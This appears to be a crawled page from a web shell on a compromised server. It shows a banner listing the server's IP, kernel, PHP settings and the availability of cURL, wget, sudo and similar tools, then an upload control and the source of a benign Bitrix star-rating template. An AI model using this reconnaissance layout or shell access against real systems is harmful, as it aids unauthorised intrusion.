%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.232.137 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/imag/24/bitrix/templates/artantiq/components/bitrix/catalog/main/bitrix/iblock.vote/stars/ |
Upload File : |
<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); /** @var array $arParams */ /** @var array $arResult */ /** @global CMain $APPLICATION */ /** @global CUser $USER */ /** @global CDatabase $DB */ /** @var CBitrixComponentTemplate $this */ /** @var string $templateName */ /** @var string $templateFile */ /** @var string $templateFolder */ /** @var string $componentPath */ /** @var CBitrixComponent $component */ $this->setFrameMode(true); if($arParams["DISPLAY_AS_RATING"] == "vote_avg") { if($arResult["PROPERTIES"]["vote_count"]["VALUE"]) $votesValue = round($arResult["PROPERTIES"]["vote_sum"]["VALUE"]/$arResult["PROPERTIES"]["vote_count"]["VALUE"], 2); else $votesValue = 0; } else { $votesValue = $arResult["PROPERTIES"]["rating"]["VALUE"]; } $votesValue = (float)$votesValue; $votesCount = (int)$arResult["PROPERTIES"]["vote_count"]["VALUE"]; if (isset($arParams["AJAX_CALL"]) && $arParams["AJAX_CALL"]=="Y") { $APPLICATION->RestartBuffer(); header('Content-Type: application/json'); echo \Bitrix\Main\Web\Json::encode(array( "value" => $votesValue, "votes" => $votesCount )); return; } CJSCore::Init(array("ajax")); $strObName = "bx_vo_".$arParams["IBLOCK_ID"]."_".$arParams["ELEMENT_ID"].'_'.$this->randString(); $arJSParams = array( "progressId" => $strObName."_progr", "ratingId" => $strObName."_rating", "starsId" => $strObName."_stars", "ajaxUrl" => $componentPath."/component.php", "checkVoteUrl" => $componentPath."/ajax.php", 'ajaxParams' => $arResult["~AJAX_PARAMS"], 'siteId' => SITE_ID, 'voteData' => array( 'element' => (int)$arResult["ID"], 'percent' => ($votesCount > 0 ? $votesValue*20 : 0), 'count' => $votesCount ), 'readOnly' => (isset($arParams['READ_ONLY']) && $arParams['READ_ONLY'] === 'Y') ); ?><table align="center" class="bx_item_detail_rating"> <tr> <td> <div class="bx_item_rating"> <div class="bx_stars_container"> <div id="<?=$arJSParams["starsId"]?>" class="bx_stars_bg"></div> <div id="<?=$arJSParams["progressId"]?>" class="bx_stars_progress"></div> </div> </div> </td> <td> <span id="<?=$arJSParams["ratingId"]?>" class="bx_stars_rating_votes">(0)</span> </td> </tr> </table> <script type="text/javascript"> <?=$strObName;?> = new JCIblockVoteStars(<?=CUtil::PhpToJSObject($arJSParams, false, true, true);?>); </script>